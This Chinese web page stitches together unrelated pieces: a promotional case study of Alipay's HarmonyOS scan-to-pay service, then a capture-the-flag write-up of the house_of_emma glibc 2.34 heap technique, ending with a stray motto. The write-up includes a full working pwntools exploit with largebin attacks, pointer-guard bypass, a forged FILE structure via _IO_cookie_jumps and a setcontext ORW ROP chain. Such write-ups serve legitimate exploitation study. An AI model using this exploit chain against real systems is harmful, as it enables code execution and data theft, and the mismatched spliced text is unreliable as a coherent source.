在日常的购物转账、生活缴费等在线支付中,用户在正式拉起支付界面前,均需要至少经历一次"识别"+两次"寻找",即识别归属应用、寻找应用、寻找扫码入口,才能完成扫码、付款,每一步都带来不同程度的用户流失。如何将步骤繁琐的扫码支付做到最简化,是优化在线支付体验的关键。

image

策略

支付宝是全球领先的支付平台之一,涵盖金融管理、转账、缴费等多种功能,致力于为广大用户提供安全快速的线上支付体验。接入扫码直达服务后,支付宝解决了扫码步骤繁琐的问题,真正实现"零思考,一步扫"。

通过浅层高频入口如相机、锁屏、控制中心均可一步拉起扫码页面,无论锁屏还是解锁状态,都能一步直达服务页,帮助用户快速完成在线支付。同时,配合系统扫码能力增强,为用户提供更便捷流畅的扫码新体验。App未安装时,支持跳转至应用市场下载页面,让用户快速下载、完成在线支付。

image

开发者可轻松构建扫码能力,性能升级0成本,开放接口开通即用,仅需注册域名、注册应用接口两步即可完成扫码能力构建。更多接入信息可
查询官网文档

image

成果

扫码直达服务不仅简化了传统扫码支付的繁琐流程,还加强了复杂场景下的算法识别能力,在远距离、小角度、过曝/过暗等场景下,提升扫码识别率至90%以上,实现用户一扫即付的支付新体验。

除此以外,支付宝将携手HarmonyOS SDK探索智慧就医和元服务更多可能,并在推送、语音播报、智能分发等特性领域,为用户带来更丰富的应用场景、更便捷的操作体验和更高效的数字化服务。

house_of_emma

前言:

相比较于house_of_kiwi(
house_of_kiwi
),house_of_emma的手法更加***钻,而且威力更大,条件比较宽松,只需要lagebin_attack即可完成。

当然把两着放到一起是因为它们都利用了__malloc_assest来刷新IO流,不同的是,house_of_kiwi是通过修改调用函数的指针,还有修改rdx(_IO_heaper_jumps)的偏移达到目的的,条件需要两次任意地址写,相对来说比较苛刻,然后house_of_emma则是利用了vtable地址的合法性,在符合vtable的地方找到了一个函数_IO_cookie_read,这个函数存在_IO_cookie_jumps中,可以看一下。

pwndbg> p _IO_cookie_jumps
$1 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7bc53c683dc0 <_IO_new_file_finish>,
  __overflow = 0x7bc53c684790 <_IO_new_file_overflow>,
  __underflow = 0x7bc53c684480 <_IO_new_file_underflow>,
  __uflow = 0x7bc53c685560 <__GI__IO_default_uflow>,
  __pbackfail = 0x7bc53c686640 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7bc53c6839b0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7bc53c685740 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7bc53c678ae0 <_IO_cookie_seekoff>,
  __seekpos = 0x7bc53c685900 <_IO_default_seekpos>,
  __setbuf = 0x7bc53c6826d0 <_IO_new_file_setbuf>,
  __sync = 0x7bc53c682560 <_IO_new_file_sync>,
  __doallocate = 0x7bc53c677ef0 <__GI__IO_file_doallocate>,
  __read = 0x7bc53c6789c0 <_IO_cookie_read>,
  __write = 0x7bc53c6789f0 <_IO_cookie_write>,
  __seek = 0x7bc53c678a40 <_IO_cookie_seek>,
  __close = 0x7bc53c678aa0 <_IO_cookie_close>,
  __stat = 0x7bc53c6867a0 <_IO_default_stat>,
  __showmanyc = 0x7bc53c6867d0 <_IO_default_showmanyc>,
  __imbue = 0x7bc53c6867e0 <_IO_default_imbue>
}

可以看见它位于_IO_cookie_jumps+0x38+0x38的位置,至于为什么不写_IO_cookie_jumps+0x70,这样为了方便后面理解。

我们看看_IO_cookie_read都做了什么

  0x7bc53c6789c0 <_IO_cookie_read>       endbr64 
   0x7bc53c6789c4 <_IO_cookie_read+4>     mov    rax, qword ptr [rdi + 0xe8]
   0x7bc53c6789cb <_IO_cookie_read+11>    ror    rax, 0x11  
   0x7bc53c6789cf <_IO_cookie_read+15>    xor    rax, qword ptr fs:[0x30] #解密处理
   0x7bc53c6789d8 <_IO_cookie_read+24>    test   rax, rax
 ► 0x7bc53c6789db <_IO_cookie_read+27>    je     _IO_cookie_read+38                <_IO_cookie_read+38>
 
   0x7bc53c6789dd <_IO_cookie_read+29>    mov    rdi, qword ptr [rdi + 0xe0]
   0x7bc53c6789e4 <_IO_cookie_read+36>    jmp    rax  #call rax

可以看见call rax 也就是我们如果控制了rax那么就可以控制程序流,但是在此之前可以看见对rax进行了解密处理,将rax循环右移0x11,然后再和fs+0x30处的位置异或得到最后的rax

最后去查了一下,这个是glibc的
PointerEncryption
(自指针加密),是glibc保护指针的一种方式,glibc是这样解释的:指针加密是 glibc 的一项安全功能,旨在增加攻击者在 glibc 结构中操纵指针(尤其是函数指针)的难度。此功能也称为 “指针修饰” 或 “指针守卫”。

这个值存放在TLS段上,一般情况下我们泄露不了,但是我们可以通过largebin_attack把一个堆块地址写入这个地址,那么key就变成了堆块指针,所以我们只需要,进行相应的加密就可以控制rax达到任意地址。那么如果控制这个rax为system("/bin/sh")的地址,那么就可以跳转到此处执行shell。

然而还有一个问题,就是如果程序使用了沙箱禁用了execve,那么还是要进行迁移,需要用到setcontext,但是我们知道,这个函数再glibc2.29以后控制的寄存器从原来的rdi变成了rdx,也就是我们要控制rdx的值,但是当处于
_IO_cookie_read,会发现此时rdx的值为0,而rdi也就是我们伪造的fake_io堆块,那么需要一个gadget,既能将rdi  mov到rdx,又能继续接下来的程序流。

那么可以找到这样的一个gadget

这个gadget可以将rdi+8处地址给rdx,而且最后call rdx+0x20那么我们久可以继续控制程序流了。

怎么控制呢,如果把rdx+0x20的地方给setcontext+61的话,可以继续控制rdx+0xe0和rdx+0xe8的位置,那么就可以控制程序流进行orw

例题:
[湖湘杯 2021]house_of_emma

这个题目是一个vm的题目,需要输入opcode,来执行相应的效果。但是我们重心在house_of_emma上,但是这个opcode可以看看最后的exp,也不难理解,类似对你输入的指令进行8位分割

add函数申请堆块大小在0x40f到0x500之间

edit函数不能修改堆块之外的数据

问题出在free函数,存在uaf漏洞

show函数

分析:

本题libc给的是2.34的,那么__free_hook,malloc_hook等被移除了,当然因为存在UAF,而且还可以edit,那么泄露libc地址和heap地址会很容易,我们要伪造IO链,因为最后会使用stdder实现报错输出,所以我们可以劫持这个链子,将_lock给成合法地址,vtable给成
_IO_cookie_jumps+0x38,前面提到了这样是因为最后会call _IO_cookie_jumps+0x38再加上0x38的地址,就会到_IO_cookie_read,然后使用call rax的gadget布置rdx,然后call rdx+0x20 进入setcontxt + 61,然后就是orw了。

EXP:

from gt import *

con("amd64")

libc = ELF("./libc.so.6")
io = process("emma")


opcode = b""

def add(index,size):
    global opcode
    opcode += b'\x01'+p8(index)+p16(size)


def free(index):
    global opcode
    opcode += b'\x02'+p8(index)


def show(index):
    global opcode
    opcode += b'\x03'+p8(index)


def edit(index,msg):
    global opcode
    opcode += b'\x04' + p8(index) + p16(len(msg)) + msg



def run():
    global opcode
    opcode += b'\x05'
    io.sendafter("Pls input the opcode",opcode)
    opcode = b""

# 加密函数 循环左移
def rotate_left_64(x, n):
    # 确保移动的位数在0-63之间
    n = n % 64
    # 先左移n位
    left_shift = (x << n) & 0xffffffffffffffff
    # 然后右移64-n位,将左移时超出的位移动回来
    right_shift = (x >> (64 - n)) & 0xffffffffffffffff
    # 合并两部分
    return left_shift | right_shift


add(0,0x410)
add(1,0x410)
add(2,0x420)
add(3,0x410)
free(2)
add(4,0x430)
show(2)
run()
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x1f30b0
suc("libc_base",libc_base)
pop_rdi_addr = libc_base + 0x000000000002daa2 #: pop rdi; ret; 
pop_rsi_addr = libc_base + 0x0000000000037c0a #: pop rsi; ret; 
pop_rdx_r12 = libc_base + 0x00000000001066e1 #: pop rdx; pop r12; ret;
pop_rax_addr = libc_base + 0x00000000000446c0 #: pop rax; ret;
syscall_addr = libc_base + 0x00000000000883b6 #: syscall; ret;
setcontext_addr = libc_base + libc.sym["setcontext"]
stderr = libc_base + libc.sym["stderr"]
open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base



#suc("guard",guard)
_IO_cookie_jumps = libc_base + 0x1f3ae0 

edit(2,b'a'*0x10)
show(2)
#gdb.attach(io)
run()
io.recvuntil("a"*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x2ae0 
suc("heap_base",heap_base)
guard = libc_base+ 0x20d770
suc("guard",guard)

free(0)
payload = p64(libc_base + 0x1f30b0)*2 + p64(heap_base +0x2ae0) + p64(stderr - 0x20)
edit(2,payload)
add(5,0x430)
edit(2,p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run()

free(2)
add(6,0x430)
free(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)


#gdb.attach(io)
run()
free(7)
add(8, 0x430)
edit(7,b'a' * 0x438 + p64(0x300))
run()



flag = heap_base + 0x22a0 + 0x260

orw =p64(pop_rdi_addr)+p64(flag)
orw+=p64(pop_rsi_addr)+p64(0)
orw+=p64(pop_rax_addr)+p64(2)
orw+=p64(syscall_addr)


orw+=p64(pop_rdi_addr)+p64(3)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(read_addr)


orw+=p64(pop_rdi_addr)+p64(1)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(write_addr)




gadget = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
chunk0 = heap_base + 0x22a0
xor_key = chunk0
suc("xor_key",xor_key)

fake_io = p64(0) + p64(0) # IO_read_end IO_read_base
fake_io += p64(0) + p64(0) + p64(0) # IO_write_base IO_write_ptr IO_write_end
fake_io += p64(0) + p64(0) # IO_buf_base IO_buf_end
fake_io += p64(0)*8 #_IO_save_base ~ _codecvt
fake_io += p64(heap_base) + p64(0)*2  #_lock   _offset  _codecvt
fake_io = fake_io.ljust(0xc8,b'\x00')

fake_io += p64(_IO_cookie_jumps+0x38) #vtable
rdi_data = chunk0 + 0xf0
rdx_data = chunk0 + 0xf0


encrypt_gadget = rotate_left_64(gadget^xor_key,0x11)
fake_io += p64(rdi_data)
fake_io += p64(encrypt_gadget)
fake_io += p64(0) + p64(rdx_data)
fake_io += p64(0)*2 + p64(setcontext_addr + 61)
fake_io += p64(0xdeadbeef)
fake_io += b'a'*(0xa0 - 0x30)
fake_io += p64(chunk0+0x1a0)+p64(pop_rdi_addr+1)
fake_io += orw
fake_io += p64(0xdeadbeef)
fake_io += b'flag\x00\x00\x00\x00'
edit(0,fake_io)
run()

add(9,0x4c0)
gdb.attach(io)
run()
io.interactive()

gdaget call rax

call setcontext +61

实现迁移

最终效果

总结:

我个人感觉这个威力还是不小的,但是打远程的话需要爆破tls地址这个比较麻烦,无论是house_of_kiwi还是house_of_emma都是利用了__malloc_assest,但是遗憾的是,这个函数在后来的libc中,不能处理IO了,最后甚至去掉了,但是在这之前的版本还是可以利用的。

最后这个题目的附件在NSSCTF平台上面有,有兴趣的师傅可以试一下。

The best way to predict the future is to create it.